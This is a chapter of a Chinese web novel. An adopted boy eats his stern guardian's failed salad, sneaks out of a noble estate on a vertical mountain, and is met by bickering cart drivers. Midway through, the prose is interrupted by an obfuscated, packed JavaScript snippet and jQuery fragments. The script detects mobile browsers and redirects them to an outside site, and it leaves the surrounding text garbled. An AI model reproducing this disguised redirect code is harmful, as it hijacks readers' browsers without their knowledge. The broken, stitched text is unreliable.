11. chapter.11 荒谬与滑稽
作品:《垂直心跳》 卡莉离开了。
依照妮娜的话,她至少要到深夜才会回来。
机会。
作为大主管的妮娜不在,整个安德拉家族便只余下少数装点门面的仆从——赫洛斯和其他地道的贵族不同,在他的府邸里,除了必要的主管和维护庄园所需要的人手之外,没有任何多余且用以装点门面和排场的仆从。
听说这些仆从每过一段时间就会被辞退一部分,然后再换成另外的一批人,如此周转一年,里昂每个月都能见到不少的新面孔。
所有的仆从都不被允许上到二楼及以上,所以卡莉和他都被要求包揽自己房间的家务——自然,对于孩童而言过于巨大的被褥不算。
这一切,无疑都是赫洛斯.安德拉的手笔。
其最终目的是什么?
里昂并不清楚,但是,这样的安排对于他来说,有益无害。
++
结束攀登训练之后,一般而言,依照一日流程,他需要用晚餐。
——这同样也是他不太习惯的一点,毕竟在坠尘区,可没有早中晚各一餐的规律讲究,尤其是在这种讲究在很多时候甚至包括了要如何优雅地使用餐具、定量且营养均衡地搭配食物、乃至于许多在他看来近乎于繁琐且浪费食物的礼节。
尽管对于他来说,学习尝试像一个真正的贵族一样进餐并不是一件难事。
虽然卡莉并不经常能作为一个良好的示范者,但是妮娜时常会在边上对她进行监督。
然而,言归正传,要说在晚餐环节中最令他不自在的部分,莫过于近些日子以来,一向热衷于外出而常年神龙见首不见尾的赫洛斯长时间地未曾出门,以至在卡莉和妮娜时常于晚上外出的这段时间,一种诡异的境况发生了:
他不得不和赫洛斯.安德拉,这个他名义上的养父,共进晚餐。
宽敞的木制长桌横跨了整间房间,几名仆从低眉顺目地退出餐厅,水晶挂灯惨白的光束泼洒而下,将白色的桌帘照的发亮,凸显出二人之间遥远的间隔。
赫洛斯坐在长桌的一端,而他则坐在遥远的另一端。
这并非是出于里昂故意的回避,而是出于妮娜的礼节教导——若是家人,则应当坐在主位旁侧的位置,而若是来客,或者关系并无如此亲近者,则当坐在主位的对位。
数日前,当他第一次与这位养父共进晚餐之时,曾经以养子的身份试探坐在他的旁侧,那时候的赫洛斯头也未抬,只是留下一句。
“去那边。”
去那边?
还能是哪边?
那之后,赫洛斯没有给他留下任何相关的眼神,他的自尊心又不允许他进一步询问,于是几番衡量之后,他最终选择了坐在对位上。
——也就是距离赫洛斯最远的位置。
一开始,里昂还会对他的存在报以警惕,然而赫洛斯对他的态度却是一如往常的无视,是以,或许是由于认清警惕他也没有特别大的作用,过于紧张还会反过来暴露自己,于是综合考量之下,里昂也算习惯了在餐桌上看到他这张古板而面无表情的面孔,也惯于在他的面前继续扮演那个谦卑有礼的养子。
正如现在。
在他视野所及之处,坐在遥远长桌另一端的赫洛斯.安德拉正半靠在主位的椅子上,他的面前摆放着一盘简易的蔬菜沙拉,刀叉规整地放在一旁——这并不是仆从做的食物,而是赫洛斯独自下厨做的。
正如他不允许除了妮娜以外的其他仆从上二楼,进入他的房间整理家务一般,他同样不允许妮娜之外的人负责他的饮食,于是,偶尔当妮娜忙到难以兼顾的时候,根据里昂的观察,这个男人会热衷于自己研究菜谱,并花上大量的时间来烹饪食物,再然后,往往会和现在这样——
他面无表情地看着赫洛斯目不转睛地盯着手中的叶纸(一种以叶子为原材料制成的报纸,时常刊印着来自高位区和前沿登山者的新闻),一边拿起边上的叉子叉了一片菜叶放到嘴里咀嚼了片刻,再毫无波澜地,平静地将他手中的叉子平放在一旁。
类似这样的举动,在这段日子里里昂见过许多次,如若放在前些日子,他可能还会因为赫洛斯突如其来的动作而提高警惕,戒备着对方接下来可能的行动,但是放在数日后的今天——
他的沙拉一定是又做失败了。
里昂面无表情地想。
“里昂。”赫洛斯开口了,他把自己面前半分未动的沙拉盘子郑重其事地向前推了一下。“我突然有事要先离开,这盆沙拉你负责处理。”
里昂:“……。”
果然。
半晌,他听到赫洛斯补充了一句。
“我不喜欢浪费食物的人。”
说完,这位父亲就离开了。
里昂的目光落回那盆泛着古怪气味的沙拉上,终于忍不住抽动了一下眼角。
——所以,你就给他吃?
++
里昂最终还是把赫洛斯的那盆黑暗料理吃完了。
这并非是因为他畏惧赫洛斯,亦或者是对赫洛斯有多么信任——只是对于坠尘区出身的他来说,就算是天塌下来了,他也实在难以做出将好端端的食材全盘倒掉的行为,无论这份沙拉实际上被赫洛斯做的有多么难吃。
或者说,在他看来,赫洛斯有时候确实过于挑食了。
待赫洛斯离开之后,他先是警惕性地瞄了一眼墙壁上的挂钟——长廊尽头那扇巨大而笨重的长方形挂钟上显示着此刻正处于六点整,也是第十八个神山时,在这个时间点,一层的仆从会因为排班用餐的缘故出现一段时间的轮班,正是他事先所规划的行动契机。
计划异常顺利,他成功地利用了轮班时短暂的间隙,在成为安德拉家族养子的这数个月以来,第一次独自离开了这座巨大的府邸。
府邸之外,是一片被云雾絮绕的深渊。
铁门之外,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17198986|197145||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
首先映入眼帘的,是一片交错盘结在一起的巨大藤蔓组成的地面,这片暗淡的灰绿色地面是由已经死去的寂绞星藤的尸体组建而成的,它是整座神山上公认最为坚硬的物质,在被发现的数百年来广泛地运用在街道建设,亦或者是人类领地的扩张上。
由于神山本身是一座与地面悬直近乎90度的垂直山峰,它真实的表面光滑而难以站立,极少有能够供人类站立的部分,是以,整个高山文明,包括从底层的坠尘区、中位区、以至于高位区,所有的人类领土,其本质上都仰赖于成片的寂绞星藤盘旋交错着向外蔓延而形成的枝蔓地面。
从示意图上来看,人类世界的地图就像是在一坐悬直的高山上套了三个圆环,一个比一个更大。
里昂落在藤蔓交错的地面上,这些僵死的寂绞星藤尸体依旧维持着一定的弹性,是以他未曾发出任何声响,他的身上披着一件漆黑的斗篷,他将黑色宽大的帽檐稍稍向下拉扯,便掩盖住那头在高位区显得格外醒目的银发。
他未曾犹豫,笔直地穿过面前幽暗的云雾而去。
安德拉家族的府邸位于高位区约3500左右的位置,贵族的爵位一般由作为统治者的神山教赐予,而整个高位区的宏观面积达到惊人的6340.5平方千米(约上海市总面积),是以每一个被授予爵位的贵族都会被赐予完整的一片街区作为管辖地,如若要离开这里,还需要乘坐街边的羊车。
此刻正值深夜,街边零零散散地坐着几个拉客的平民,他们的胳膊上别着刻有不同等级字母的徽章,分为S,A,B,C,D五个等级,除此之外,看起来全然没有任何不同之处。见到里昂的身影出现,他们狐疑地瞅了一眼他矮小的身形与整个人都被遮挡的严严实实的外貌,踌躇着不敢上前。
里昂掀开斗篷,将那柄刻着安德拉家徽的匕首拿出在几人面前晃了一下。
“认得吗?”他的声音闷闷的。
这些人对视一眼,当即便搓着手指凑上前来。
“认得认得,这条街上,谁不认识安德拉家族的家徽?这位大人,您坐羊车吗?”一名胳膊上别着‘D’级的年轻车夫当即便凑了上来,他的面上堆叠着笑容。“您别看我才二十几岁,我已经从事这行十多年了,他们这些人的等级看起来比我高,其实都没我专业!”
“诶,这话我可就不爱听了!”边上胳膊上挂着‘C’等级的车夫当即凑上前来,他看起来年纪和D级车夫差不多,面上却带着几分绷不住。“大人,您看,他才只有D,我有C,虽然我比他从事这行年数少上一些,但是车夫这种活,技术含量也就那样——”
“大人,您别听他们的。”B级车夫凑了过来。“拉羊车这活,总归还是能讲究点方式方法的,您看我的攀登者等级比他们两个都高,说明我比他们更懂拉羊车!”
“诶,这我可就不服气了!”A级车夫当即插话。“按登山者等级排,我可比你们都要高!”

